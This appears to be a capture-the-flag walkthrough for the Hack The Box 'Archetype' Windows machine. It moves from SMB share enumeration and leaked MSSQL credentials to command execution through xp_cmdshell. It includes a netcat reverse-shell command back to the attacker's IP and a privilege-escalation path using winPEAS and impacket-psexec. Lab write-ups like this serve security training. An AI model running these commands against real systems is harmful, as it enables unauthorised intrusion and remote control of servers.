Archetype

Completed on 30/08/2022 | OS: Windows

Tools used: nmap smbclient smbget impacket-mssqlclient module: http.server winPEAS nc.exe impacket-psexec

Perform RCE: Here we will exploit the server with the user account, then from the user account exploit the server to get root privileges and thereby take the highest control.

Analys

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First, we still use the nmap tool to scan IP and see the serves are running.

Here we recognize that on Windows, SMB can run directly over TCP/IP without the need for NetBIOS over TCP/IP. This will use, as you point out, port 445. On other systems, you’ll find services and applications using port 139. This means that SMB is running with NetBIOS over TCP/IP

The SMB share

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Since a directory service is running on port 445 let’s try to connect to HTB Archetype using smb.

smbclient -L 10.129.33.34

You can either add the -N parameter or simply press enter when you’re being asked for a password since we do not have any potential passwords yet.

Luckily we found several shares without entering a valid password.

smbget -R smb://10.129.33.34/backups

The most interesting share is probably backups which is also the only non-default share.

Then we open the file prod.dtsConfig

Obtaining a reverse shell

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• Yeah, we found username and password, now you will connect MSSQL Server by impacket-mssqlclient

python mssqlclient.py ARCHETYPE/sql_svc@10.129.33.34 -windows-auth

First, we need to check our Roles on the server :

SELECT is_srvrolemember('sysadmin');

• This will return us 1, which means true. So we can proceed

Now try running :

xp_cmdshell "whoami"

Now it’s working and this command will return us “archetype/sql_svc”.

We will follow the last method: xp_cmdshell with nc

• Here first we have to download nc.exe on our system, which can be downloaded from the link: https://github.com/int0x33/nc.exe/blob/master/nc.exe

  local

• After downloading let’s set up a python server on our machine in order to send the file to the target system.

python3 -m http.server

• The next step is to execute the file in our target system for the reverse shell. So for that first, let’s set up our Netcat listener on our system:

nc -lvnp 4444

• We will execute the following command in our target system

xp_cmdshell "c:\\Users\Public\\nc.exe -e cmd.exe [Your_tun0_IP] 4444"

So user flag is in the Dekstop folder and we can navigate to that folder :

Now next we have to find our Root flag. For that, we need to switch to Administrator and get the flag, but we can’t do it just like that because we need root permission to access the file from the Administrator.

We need something that can tell us the weak points in the system so that we can exploit them and get the root access and we can’t do this manually because it will be a lengthy process upon searching we found something known as “Winpeas”

Winpeas is an extremely useful tool to enumerate the system for us and find weaknesses.

• Now run the tool using the command: “./winPEASx64.exe”
• After running at the end we get some output as:

• Notice the file named “ConsoleHost_history.txt”. Let’s navigate to this file and see what’s in there

Now we need a tool to log in as Administrator on our target PC and we cannot do it directly in our Windows Powershell as we do in the Linux system. There is a tool from our impacket-**psexec** which will help us.

• Kill the PowerShell and mssqlclient on our machine.
• Let’s use our tool:

*** ROOT Flag here ***